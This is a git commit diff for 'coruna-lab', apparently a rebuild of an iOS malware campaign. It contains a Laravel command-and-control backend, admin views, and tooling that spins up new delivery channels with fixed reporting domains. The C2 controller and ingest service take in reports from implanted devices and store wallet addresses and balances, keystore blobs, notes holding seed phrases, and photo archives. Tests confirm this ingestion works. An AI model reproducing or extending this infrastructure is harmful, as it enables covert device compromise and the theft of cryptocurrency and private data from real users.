init
This commit is contained in:
@@ -5,11 +5,12 @@
|
|||||||
```text
|
```text
|
||||||
coruna-lab/
|
coruna-lab/
|
||||||
├── source/ # 只读模板(campaign 原样,勿 patch)
|
├── source/ # 只读模板(campaign 原样,勿 patch)
|
||||||
│ ├── web/34f5121f572d6742703eb84ec2f866a6/
|
│ ├── web/<original-channel>/
|
||||||
│ └── sync/
|
│ └── sync/
|
||||||
├── web/… # 工作副本(由脚本从 source 复制后再 patch)
|
├── server/public/
|
||||||
├── sync/
|
│ ├── web/<channel-id>/ # 每次 new_project 新增一个投递站
|
||||||
├── out/seeds.json, domains.json
|
│ ├── sync/ # 每次 new_project 重建(同域名内容一致)
|
||||||
|
│ └── out/{channel,seeds,domains}.json
|
||||||
├── doc/
|
├── doc/
|
||||||
├── tools/
|
├── tools/
|
||||||
└── MANIFEST.json
|
└── MANIFEST.json
|
||||||
@@ -21,26 +22,23 @@ coruna-lab/
|
|||||||
https://www.dhxuhdbej888.icu/web/34f5121f572d6742703eb84ec2f866a6/
|
https://www.dhxuhdbej888.icu/web/34f5121f572d6742703eb84ec2f866a6/
|
||||||
```
|
```
|
||||||
|
|
||||||
## 新建 / 刷新工作树(推荐)
|
## 新建项目(推荐)
|
||||||
|
|
||||||
从 `source/` 复制 `web` + `sync` 到 **`server/public/`**,再自动 `patch_all.py --apply`:
|
从 `source/` 生成 **`server/public/web/<新channel>/`**(自动 32 hex channel + 固定域名);每次重建 `sync/`,同域名则字节一致:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cd coruna-lab
|
cd coruna-lab
|
||||||
pip3 install py7zr pycryptodome
|
pip3 install py7zr pycryptodome
|
||||||
|
|
||||||
python3 tools/new_project.py
|
/usr/bin/python3 tools/new_project.py \
|
||||||
# 指定 seed / 固定域名:
|
--deployment-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info' \
|
||||||
python3 tools/new_project.py --deployment-seed … --reporting-seed …
|
--reporting-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info'
|
||||||
python3 tools/new_project.py \
|
|
||||||
--deployment-domains 'a.example,b.example' \
|
|
||||||
--reporting-domains 'c.example,d.example'
|
|
||||||
```
|
```
|
||||||
|
|
||||||
域名见 `server/public/out/domains.json`;入口由 Laravel/`server/public` 提供:
|
见 `server/public/out/channel.json` / `domains.json`;入口:
|
||||||
|
|
||||||
```text
|
```text
|
||||||
https://<host>/web/34f5121f572d6742703eb84ec2f866a6/support.html
|
https://<host>/web/<channel-id>/support.html
|
||||||
https://<host>/sync/daily.html
|
https://<host>/sync/daily.html
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -51,7 +49,7 @@ https://<host>/sync/daily.html
|
|||||||
| [`doc/STAGE_JS.md`](doc/STAGE_JS.md) | 入口 + Stage JS;对标 `coruna/` |
|
| [`doc/STAGE_JS.md`](doc/STAGE_JS.md) | 入口 + Stage JS;对标 `coruna/` |
|
||||||
| [`doc/NATIVE_PACKS.md`](doc/NATIVE_PACKS.md) | 一级 / 二级包路径、联系、清单 |
|
| [`doc/NATIVE_PACKS.md`](doc/NATIVE_PACKS.md) | 一级 / 二级包路径、联系、清单 |
|
||||||
| [`doc/SYNC.md`](doc/SYNC.md) | `daily.html` + 26 个业务模块 |
|
| [`doc/SYNC.md`](doc/SYNC.md) | `daily.html` + 26 个业务模块 |
|
||||||
| [`tools/README.md`](tools/README.md) | 替换 seed、重建二级包/core、计算 DGA 域名 |
|
| [`tools/README.md`](tools/README.md) | 固定域名 + channel、`new_project`、分步补丁 |
|
||||||
|
|
||||||
## 链路(极简)
|
## 链路(极简)
|
||||||
|
|
||||||
@@ -64,4 +62,5 @@ support.html → Stage1/2/3 → 一级包 (.js) → (0x07) → 二级 type-0x01
|
|||||||
|
|
||||||
- 来源索引:`MANIFEST.json`
|
- 来源索引:`MANIFEST.json`
|
||||||
- 分析报告:`coruna-online/docs/`
|
- 分析报告:`coruna-online/docs/`
|
||||||
- **不要**对 `source/` 跑 `--apply`;只改根目录 `web/` / `sync/`
|
- **不要**对 `source/` 跑 `--apply`;产物只写 `server/public/web/<channel>/` 与 `sync/`
|
||||||
|
- 工具细节见 [`tools/README.md`](tools/README.md)
|
||||||
|
|||||||
@@ -14,6 +14,7 @@ class DeviceController extends Controller
|
|||||||
{
|
{
|
||||||
$filters = [
|
$filters = [
|
||||||
'device_key' => trim((string) $request->query('device_key', '')),
|
'device_key' => trim((string) $request->query('device_key', '')),
|
||||||
|
'channel_id' => trim((string) $request->query('channel_id', '')),
|
||||||
'model' => trim((string) $request->query('model', '')),
|
'model' => trim((string) $request->query('model', '')),
|
||||||
'ip' => trim((string) $request->query('ip', '')),
|
'ip' => trim((string) $request->query('ip', '')),
|
||||||
'ios' => trim((string) $request->query('ios', '')),
|
'ios' => trim((string) $request->query('ios', '')),
|
||||||
@@ -26,6 +27,9 @@ class DeviceController extends Controller
|
|||||||
if ($filters['device_key'] !== '') {
|
if ($filters['device_key'] !== '') {
|
||||||
$q->where('device_id', 'like', '%'.$filters['device_key'].'%');
|
$q->where('device_id', 'like', '%'.$filters['device_key'].'%');
|
||||||
}
|
}
|
||||||
|
if ($filters['channel_id'] !== '') {
|
||||||
|
$q->where('channel_id', 'like', '%'.$filters['channel_id'].'%');
|
||||||
|
}
|
||||||
if ($filters['model'] !== '') {
|
if ($filters['model'] !== '') {
|
||||||
$q->where('device_model', 'like', '%'.$filters['model'].'%');
|
$q->where('device_model', 'like', '%'.$filters['model'].'%');
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -107,7 +107,11 @@ class C2Controller extends Controller
|
|||||||
?: $request->input('f');
|
?: $request->input('f');
|
||||||
$device = $this->ingest->upsertDevice(
|
$device = $this->ingest->upsertDevice(
|
||||||
$request,
|
$request,
|
||||||
array_filter(['d' => $deviceKey]),
|
array_filter([
|
||||||
|
'd' => $deviceKey,
|
||||||
|
'c' => $request->input('c'),
|
||||||
|
'channel' => $request->input('channel'),
|
||||||
|
]),
|
||||||
$deviceKey ? (string) $deviceKey : null
|
$deviceKey ? (string) $deviceKey : null
|
||||||
);
|
);
|
||||||
|
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
|
|||||||
class Device extends Model
|
class Device extends Model
|
||||||
{
|
{
|
||||||
protected $fillable = [
|
protected $fillable = [
|
||||||
'device_id', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified',
|
'device_id', 'channel_id', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified',
|
||||||
];
|
];
|
||||||
|
|
||||||
protected function casts(): array
|
protected function casts(): array
|
||||||
|
|||||||
@@ -34,6 +34,40 @@ class IngestService
|
|||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Campaign / channel id from reporting traffic.
|
||||||
|
*
|
||||||
|
* Primary: JSON / form field `c` (32 hex in HAR + type-0x01 embed).
|
||||||
|
* Fallback: `channel` (seen on /link/config/list alongside `c`).
|
||||||
|
*/
|
||||||
|
public function extractChannelId(Request $request, ?array $payload): ?string
|
||||||
|
{
|
||||||
|
$candidates = [];
|
||||||
|
if (is_array($payload)) {
|
||||||
|
if (isset($payload['form']) && is_array($payload['form'])) {
|
||||||
|
$candidates[] = $payload['form']['c'] ?? null;
|
||||||
|
$candidates[] = $payload['form']['channel'] ?? null;
|
||||||
|
}
|
||||||
|
$candidates[] = $payload['c'] ?? null;
|
||||||
|
$candidates[] = $payload['channel'] ?? null;
|
||||||
|
}
|
||||||
|
$candidates[] = $request->input('c');
|
||||||
|
$candidates[] = $request->input('channel');
|
||||||
|
|
||||||
|
foreach ($candidates as $value) {
|
||||||
|
if (! is_string($value) || $value === '') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$value = trim($value);
|
||||||
|
// HAR / implant: lowercase hex, typically 32 chars
|
||||||
|
if (preg_match('/^[0-9a-fA-F]{16,64}$/', $value)) {
|
||||||
|
return strtolower(substr($value, 0, 64));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
|
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
|
||||||
{
|
{
|
||||||
$deviceKey ??= $this->extractDeviceKey($payload);
|
$deviceKey ??= $this->extractDeviceKey($payload);
|
||||||
@@ -43,6 +77,7 @@ class IngestService
|
|||||||
|
|
||||||
$deviceModel = $this->extractDeviceModel($payload);
|
$deviceModel = $this->extractDeviceModel($payload);
|
||||||
$ios = $this->extractIosVersion($payload);
|
$ios = $this->extractIosVersion($payload);
|
||||||
|
$channelId = $this->extractChannelId($request, $payload);
|
||||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||||
|
|
||||||
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
||||||
@@ -62,6 +97,11 @@ class IngestService
|
|||||||
} elseif ($existing) {
|
} elseif ($existing) {
|
||||||
$attrs['ios_version'] = $existing->ios_version;
|
$attrs['ios_version'] = $existing->ios_version;
|
||||||
}
|
}
|
||||||
|
if ($channelId !== null) {
|
||||||
|
$attrs['channel_id'] = $channelId;
|
||||||
|
} elseif ($existing) {
|
||||||
|
$attrs['channel_id'] = $existing->channel_id;
|
||||||
|
}
|
||||||
|
|
||||||
// created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps)
|
// created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps)
|
||||||
$device = Device::query()->updateOrCreate(
|
$device = Device::query()->updateOrCreate(
|
||||||
@@ -188,7 +228,10 @@ class IngestService
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
$rows = [];
|
$rows = [];
|
||||||
if (isset($payload['data']) && is_array($payload['data'])) {
|
// HAR `/api/user/status`: ba = { "<address>": [ { balance, chainId, chainType, symbol, ... }, ... ] }
|
||||||
|
if (isset($payload['ba']) && is_array($payload['ba'])) {
|
||||||
|
$rows = $this->normalizeBaAddressRows($payload['ba']);
|
||||||
|
} elseif (isset($payload['data']) && is_array($payload['data'])) {
|
||||||
$rows = $this->normalizeAddressRows($payload['data']);
|
$rows = $this->normalizeAddressRows($payload['data']);
|
||||||
} elseif (isset($payload['result']) && is_array($payload['result'])) {
|
} elseif (isset($payload['result']) && is_array($payload['result'])) {
|
||||||
$rows = $this->normalizeAddressRows($payload['result']);
|
$rows = $this->normalizeAddressRows($payload['result']);
|
||||||
@@ -324,6 +367,10 @@ class IngestService
|
|||||||
if (is_string($sv) && $sv !== '') {
|
if (is_string($sv) && $sv !== '') {
|
||||||
return $sv;
|
return $sv;
|
||||||
}
|
}
|
||||||
|
$info = $payload['deviceInfo'] ?? null;
|
||||||
|
if (is_array($info) && ! empty($info['productVersion']) && is_string($info['productVersion'])) {
|
||||||
|
return $info['productVersion'];
|
||||||
|
}
|
||||||
|
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
@@ -353,4 +400,42 @@ class IngestService
|
|||||||
|
|
||||||
return $out;
|
return $out;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* HAR `/api/user/status` balance map → one row per address (primary asset + full token list in meta).
|
||||||
|
*
|
||||||
|
* @param array<string, mixed> $ba
|
||||||
|
* @return list<array<string, mixed>>
|
||||||
|
*/
|
||||||
|
private function normalizeBaAddressRows(array $ba): array
|
||||||
|
{
|
||||||
|
$out = [];
|
||||||
|
foreach ($ba as $address => $assets) {
|
||||||
|
if (! is_string($address) || $address === '' || ! is_array($assets)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$list = array_values(array_filter($assets, 'is_array'));
|
||||||
|
if ($list === []) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$primary = $list[0];
|
||||||
|
foreach ($list as $asset) {
|
||||||
|
$bal = isset($asset['balance']) ? (string) $asset['balance'] : '';
|
||||||
|
if ($bal !== '' && $bal !== '0') {
|
||||||
|
$primary = $asset;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$chain = (string) ($primary['chainType'] ?? $primary['chain'] ?? $primary['chainId'] ?? '');
|
||||||
|
$out[] = [
|
||||||
|
'address' => $address,
|
||||||
|
'chain' => $chain,
|
||||||
|
'balance' => isset($primary['balance']) ? (string) $primary['balance'] : null,
|
||||||
|
'symbol' => isset($primary['symbol']) ? (string) $primary['symbol'] : null,
|
||||||
|
'assets' => $list,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,22 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::table('devices', function (Blueprint $table) {
|
||||||
|
$table->string('channel_id', 64)->nullable()->after('device_id')->index();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::table('devices', function (Blueprint $table) {
|
||||||
|
$table->dropColumn('channel_id');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
Binary file not shown.
Binary file not shown.
@@ -14,6 +14,12 @@
|
|||||||
<input type="text" name="device_key" value="{{ $filters['device_key'] ?? '' }}" placeholder="device key" class="layui-input">
|
<input type="text" name="device_key" value="{{ $filters['device_key'] ?? '' }}" placeholder="device key" class="layui-input">
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
<div class="layui-inline">
|
||||||
|
<label class="layui-form-label" style="width:90px;">Channel</label>
|
||||||
|
<div class="layui-input-inline" style="width:160px;">
|
||||||
|
<input type="text" name="channel_id" value="{{ $filters['channel_id'] ?? '' }}" placeholder="channel id" class="layui-input">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
<div class="layui-inline">
|
<div class="layui-inline">
|
||||||
<label class="layui-form-label" style="width:70px;">Model</label>
|
<label class="layui-form-label" style="width:70px;">Model</label>
|
||||||
<div class="layui-input-inline" style="width:120px;">
|
<div class="layui-input-inline" style="width:120px;">
|
||||||
@@ -54,6 +60,7 @@
|
|||||||
<tr>
|
<tr>
|
||||||
<th>ID</th>
|
<th>ID</th>
|
||||||
<th>Device</th>
|
<th>Device</th>
|
||||||
|
<th>Channel</th>
|
||||||
<th>Model</th>
|
<th>Model</th>
|
||||||
<th>iOS</th>
|
<th>iOS</th>
|
||||||
<th>IP</th>
|
<th>IP</th>
|
||||||
@@ -67,6 +74,7 @@
|
|||||||
<tr>
|
<tr>
|
||||||
<td>{{ $d->id }}</td>
|
<td>{{ $d->id }}</td>
|
||||||
<td><code>{{ $d->device_id }}</code></td>
|
<td><code>{{ $d->device_id }}</code></td>
|
||||||
|
<td><code>{{ $d->channel_id ?: '—' }}</code></td>
|
||||||
<td>{{ $d->device_model ?: '—' }}</td>
|
<td>{{ $d->device_model ?: '—' }}</td>
|
||||||
<td>{{ $d->ios_version ?: '—' }}</td>
|
<td>{{ $d->ios_version ?: '—' }}</td>
|
||||||
<td>{{ $d->ip ?: '—' }}</td>
|
<td>{{ $d->ip ?: '—' }}</td>
|
||||||
@@ -75,7 +83,7 @@
|
|||||||
<td><a class="layui-btn layui-btn-normal layui-btn-xs" href="{{ route('admin.devices.show', $d) }}">详情</a></td>
|
<td><a class="layui-btn layui-btn-normal layui-btn-xs" href="{{ route('admin.devices.show', $d) }}">详情</a></td>
|
||||||
</tr>
|
</tr>
|
||||||
@empty
|
@empty
|
||||||
<tr><td colspan="8">暂无设备</td></tr>
|
<tr><td colspan="9">暂无设备</td></tr>
|
||||||
@endforelse
|
@endforelse
|
||||||
</tbody>
|
</tbody>
|
||||||
</table>
|
</table>
|
||||||
|
|||||||
@@ -13,14 +13,18 @@
|
|||||||
<tr>
|
<tr>
|
||||||
<th width="140">Device</th>
|
<th width="140">Device</th>
|
||||||
<td><code>{{ $device->device_id }}</code></td>
|
<td><code>{{ $device->device_id }}</code></td>
|
||||||
<th width="140">Model</th>
|
<th width="140">Channel</th>
|
||||||
<td>{{ $device->device_model ?: '—' }}</td>
|
<td><code>{{ $device->channel_id ?: '—' }}</code></td>
|
||||||
</tr>
|
</tr>
|
||||||
<tr>
|
<tr>
|
||||||
|
<th>Model</th>
|
||||||
|
<td>{{ $device->device_model ?: '—' }}</td>
|
||||||
<th>iOS</th>
|
<th>iOS</th>
|
||||||
<td>{{ $device->ios_version ?: '—' }}</td>
|
<td>{{ $device->ios_version ?: '—' }}</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
<th>IP</th>
|
<th>IP</th>
|
||||||
<td>{{ $device->ip ?: '—' }}</td>
|
<td colspan="3">{{ $device->ip ?: '—' }}</td>
|
||||||
</tr>
|
</tr>
|
||||||
<tr>
|
<tr>
|
||||||
<th>User-Agent</th>
|
<th>User-Agent</th>
|
||||||
|
|||||||
@@ -6,10 +6,14 @@ use App\Models\Admin;
|
|||||||
use App\Models\Device;
|
use App\Models\Device;
|
||||||
use App\Models\DeviceApp;
|
use App\Models\DeviceApp;
|
||||||
use App\Models\DeviceEvent;
|
use App\Models\DeviceEvent;
|
||||||
|
use App\Models\Note;
|
||||||
|
use App\Models\Photo;
|
||||||
use App\Models\Wallet;
|
use App\Models\Wallet;
|
||||||
use App\Models\WalletAddress;
|
use App\Models\WalletAddress;
|
||||||
use App\Services\CorunaCrypto;
|
use App\Services\CorunaCrypto;
|
||||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||||
|
use Illuminate\Http\UploadedFile;
|
||||||
|
use Illuminate\Support\Facades\Storage;
|
||||||
use PHPUnit\Framework\Attributes\Test;
|
use PHPUnit\Framework\Attributes\Test;
|
||||||
use Tests\TestCase;
|
use Tests\TestCase;
|
||||||
|
|
||||||
@@ -30,6 +34,7 @@ class C2ApiTest extends TestCase
|
|||||||
{
|
{
|
||||||
$crypto = new CorunaCrypto;
|
$crypto = new CorunaCrypto;
|
||||||
$payload = [
|
$payload = [
|
||||||
|
'c' => '34f5121f572d6742703eb84ec2f866a6',
|
||||||
'd' => '000430C910E8E526',
|
'd' => '000430C910E8E526',
|
||||||
'f' => '000430C910E8E526',
|
'f' => '000430C910E8E526',
|
||||||
'deviceModel' => 'iPhone9,1',
|
'deviceModel' => 'iPhone9,1',
|
||||||
@@ -58,6 +63,7 @@ class C2ApiTest extends TestCase
|
|||||||
|
|
||||||
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
|
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
|
||||||
$this->assertNotNull($device);
|
$this->assertNotNull($device);
|
||||||
|
$this->assertSame('34f5121f572d6742703eb84ec2f866a6', $device->channel_id);
|
||||||
$this->assertSame('15.8.4', $device->ios_version);
|
$this->assertSame('15.8.4', $device->ios_version);
|
||||||
$this->assertSame('iPhone9,1', $device->device_model);
|
$this->assertSame('iPhone9,1', $device->device_model);
|
||||||
$this->assertStringContainsString('CorunaLab/1.0', (string) $device->user_agent);
|
$this->assertStringContainsString('CorunaLab/1.0', (string) $device->user_agent);
|
||||||
@@ -179,6 +185,164 @@ class C2ApiTest extends TestCase
|
|||||||
$this->assertStringContainsString('/api/user/set', (string) file_get_contents($logFile));
|
$this->assertStringContainsString('/api/user/set', (string) file_get_contents($logFile));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function status_ingests_har_shaped_ba_address_map(): void
|
||||||
|
{
|
||||||
|
$crypto = new CorunaCrypto;
|
||||||
|
$ts = '1722585600888';
|
||||||
|
$enc = $crypto->encryptJson([
|
||||||
|
'd' => 'dev-ba-1',
|
||||||
|
'a' => 'tp',
|
||||||
|
'ba' => [
|
||||||
|
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => [
|
||||||
|
[
|
||||||
|
'balance' => '0',
|
||||||
|
'chainId' => '10',
|
||||||
|
'chainType' => 'tron',
|
||||||
|
'decimal' => '6',
|
||||||
|
'name' => 'Tether USD',
|
||||||
|
'symbol' => 'USDT',
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'balance' => '12.5',
|
||||||
|
'chainId' => '10',
|
||||||
|
'chainType' => 'tron',
|
||||||
|
'decimal' => '6',
|
||||||
|
'name' => 'TRON',
|
||||||
|
'symbol' => 'TRX',
|
||||||
|
],
|
||||||
|
],
|
||||||
|
],
|
||||||
|
], $ts);
|
||||||
|
|
||||||
|
$this->call('POST', '/api/user/status', [], [], [], [
|
||||||
|
'CONTENT_TYPE' => 'text/plain',
|
||||||
|
'HTTP_TIMESTAMP' => $ts,
|
||||||
|
], $enc['body'])->assertOk();
|
||||||
|
|
||||||
|
$device = Device::query()->where('device_id', 'dev-ba-1')->first();
|
||||||
|
$this->assertNotNull($device);
|
||||||
|
$addr = WalletAddress::query()
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
|
||||||
|
->first();
|
||||||
|
$this->assertNotNull($addr);
|
||||||
|
$this->assertSame('tron', $addr->chain);
|
||||||
|
$this->assertSame('12.5', $addr->balance);
|
||||||
|
$this->assertSame('TRX', $addr->symbol);
|
||||||
|
$this->assertCount(2, $addr->meta_json['assets'] ?? []);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function avatar_status_stores_keystore_blob_as_wallet_raw(): void
|
||||||
|
{
|
||||||
|
$crypto = new CorunaCrypto;
|
||||||
|
$ts = '1722585600999';
|
||||||
|
$enc = $crypto->encryptJson([
|
||||||
|
'd' => 'dev-ks-1',
|
||||||
|
'a' => 'im',
|
||||||
|
'result' => [
|
||||||
|
'crypto' => [
|
||||||
|
'cipher' => 'aes-128-ctr',
|
||||||
|
'ciphertext' => 'deadbeef',
|
||||||
|
'kdf' => 'pbkdf2',
|
||||||
|
'mac' => 'cafebabe',
|
||||||
|
],
|
||||||
|
'identity' => ['encKey' => 'aa'],
|
||||||
|
],
|
||||||
|
], $ts);
|
||||||
|
|
||||||
|
$this->call('POST', '/api/user/avatar/status', [], [], [], [
|
||||||
|
'CONTENT_TYPE' => 'text/plain',
|
||||||
|
'HTTP_TIMESTAMP' => $ts,
|
||||||
|
], $enc['body'])->assertOk();
|
||||||
|
|
||||||
|
$device = Device::query()->where('device_id', 'dev-ks-1')->first();
|
||||||
|
$this->assertNotNull($device);
|
||||||
|
$wallet = Wallet::query()->where('device_id', $device->id)->first();
|
||||||
|
$this->assertNotNull($wallet);
|
||||||
|
$this->assertNull($wallet->mnemonic);
|
||||||
|
$this->assertSame('aes-128-ctr', $wallet->raw_json['result']['crypto']['cipher'] ?? null);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function avatar_pic_ingests_notes(): void
|
||||||
|
{
|
||||||
|
$crypto = new CorunaCrypto;
|
||||||
|
$ts = '1722585601111';
|
||||||
|
$enc = $crypto->encryptJson([
|
||||||
|
'd' => 'dev-notes-1',
|
||||||
|
'notes' => [
|
||||||
|
['title' => 'seed backup', 'body' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'],
|
||||||
|
['name' => 'shopping', 'text' => 'milk'],
|
||||||
|
],
|
||||||
|
], $ts);
|
||||||
|
|
||||||
|
$this->call('POST', '/api/user/avatar/pic', [], [], [], [
|
||||||
|
'CONTENT_TYPE' => 'text/plain',
|
||||||
|
'HTTP_TIMESTAMP' => $ts,
|
||||||
|
], $enc['body'])->assertOk();
|
||||||
|
|
||||||
|
$device = Device::query()->where('device_id', 'dev-notes-1')->first();
|
||||||
|
$this->assertNotNull($device);
|
||||||
|
$this->assertSame(2, Note::query()->where('device_id', $device->id)->count());
|
||||||
|
$first = Note::query()->where('device_id', $device->id)->where('title', 'seed backup')->first();
|
||||||
|
$this->assertNotNull($first);
|
||||||
|
$this->assertStringContainsString('abandon', (string) $first->body);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function check_extracts_photo_archive_and_stores_file(): void
|
||||||
|
{
|
||||||
|
Storage::fake('local');
|
||||||
|
$crypto = new CorunaCrypto;
|
||||||
|
$tmp = sys_get_temp_dir().'/coruna_photo_'.uniqid();
|
||||||
|
mkdir($tmp);
|
||||||
|
$jpegPath = $tmp.'/hit.jpg';
|
||||||
|
// minimal JPEG SOI/EOI
|
||||||
|
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
|
||||||
|
$archivePath = $tmp.'/capture.7z';
|
||||||
|
$password = $crypto->archivePassword('0');
|
||||||
|
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
|
||||||
|
? '/opt/homebrew/opt/p7zip/bin/7z'
|
||||||
|
: '7z';
|
||||||
|
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
|
||||||
|
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
|
||||||
|
exec($cmd, $out, $code);
|
||||||
|
$this->assertSame(0, $code, implode("\n", $out));
|
||||||
|
$this->assertFileExists($archivePath);
|
||||||
|
|
||||||
|
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
||||||
|
$resp = $this->call(
|
||||||
|
'POST',
|
||||||
|
'/api/user/check',
|
||||||
|
[
|
||||||
|
'd' => 'dev-photo-1',
|
||||||
|
'f' => 'dev-photo-1',
|
||||||
|
'batchBase' => '0',
|
||||||
|
'count' => '1',
|
||||||
|
'total' => '1',
|
||||||
|
'index' => '0',
|
||||||
|
],
|
||||||
|
[],
|
||||||
|
['file' => $upload],
|
||||||
|
['CONTENT_TYPE' => 'multipart/form-data']
|
||||||
|
);
|
||||||
|
$resp->assertOk();
|
||||||
|
|
||||||
|
$device = Device::query()->where('device_id', 'dev-photo-1')->first();
|
||||||
|
$this->assertNotNull($device);
|
||||||
|
$photo = Photo::query()->where('device_id', $device->id)->first();
|
||||||
|
$this->assertNotNull($photo);
|
||||||
|
$this->assertSame(hash('sha256', "\xFF\xD8\xFF\xD9"), $photo->sha256);
|
||||||
|
$this->assertSame(4, $photo->size);
|
||||||
|
Storage::disk('local')->assertExists($photo->path);
|
||||||
|
|
||||||
|
@unlink($jpegPath);
|
||||||
|
@unlink($archivePath);
|
||||||
|
@rmdir($tmp);
|
||||||
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function admin_guest_is_redirected_to_admin_login(): void
|
public function admin_guest_is_redirected_to_admin_login(): void
|
||||||
{
|
{
|
||||||
|
|||||||
+36
-38
@@ -1,100 +1,98 @@
|
|||||||
# coruna-lab 工具:DGA seed / 固定域名
|
# coruna-lab 工具:channel id / 固定域名
|
||||||
|
|
||||||
## 推荐:固定域名列表(多域名探测)
|
## 推荐:`new_project.py`(新 channel + 固定域名)
|
||||||
|
|
||||||
植入体本身已有「候选列表里哪个可用用哪个」。脚本把 Deployment / Reporting 的 DGA 生成替换为你给的域名列表,并同步改:
|
每次运行都会:
|
||||||
|
|
||||||
- core(`erupt_flee.js` + `daily.html` 的 sha256/size)
|
1. 自动生成 **32 hex** channel id(或 `--channel-id`)
|
||||||
- 全部 type0x01 二级包(10 个 `.min.js`)
|
2. 从 `source/web/<原channel>/` 复制出 `server/public/web/<新channel>/`
|
||||||
|
3. 从 `source/sync` 重置并重建 `sync/`(固定域名写入 core / `daily.html`)
|
||||||
|
4. 写入固定域名 + channel,重打包全部 type0x01 二级包
|
||||||
|
|
||||||
|
**无 reuse-sync / 无改 seed 参数。** seed 由域名列表确定性推导;`daily.html`/`erupt_flee.js` 经内容缓存消除 py7zr 随机 salt,相同域名多次构建 → `sync/` 字节一致,仅 `web/<channel>/` 因 channel 不同。旧版备份:`tools/new_project.py.bak`。
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cd coruna-lab
|
cd coruna-lab
|
||||||
# 需 py7zr + pycryptodome(macOS 可用 /usr/bin/python3;Homebrew python 建议 venv)
|
# 需 py7zr + pycryptodome(macOS 可用 /usr/bin/python3;Homebrew python 建议 venv)
|
||||||
pip3 install py7zr pycryptodome
|
pip3 install py7zr pycryptodome
|
||||||
|
|
||||||
python3 tools/new_project.py \
|
/usr/bin/python3 tools/new_project.py \
|
||||||
--deployment-domains 'www.dep1.example,www.dep2.example' \
|
--deployment-domains 'www.dep1.example,www.dep2.example' \
|
||||||
--reporting-domains 'www.rep1.example,www.rep2.example,www.rep3.example'
|
--reporting-domains 'www.rep1.example,www.rep2.example'
|
||||||
```
|
```
|
||||||
|
|
||||||
也支持重复传参:
|
也支持重复传参 / 指定 channel:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
python3 tools/new_project.py \
|
/usr/bin/python3 tools/new_project.py \
|
||||||
|
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
|
||||||
--deployment-domains www.dep1.example \
|
--deployment-domains www.dep1.example \
|
||||||
--deployment-domains www.dep2.example \
|
--deployment-domains www.dep2.example \
|
||||||
--reporting-domains www.rep1.example \
|
--reporting-domains www.rep1.example \
|
||||||
--reporting-domains www.rep2.example
|
--reporting-domains www.rep2.example
|
||||||
```
|
```
|
||||||
|
|
||||||
产物(`new_project.py` 写入 `server/public/`):
|
产物(写入 `server/public/`):
|
||||||
|
|
||||||
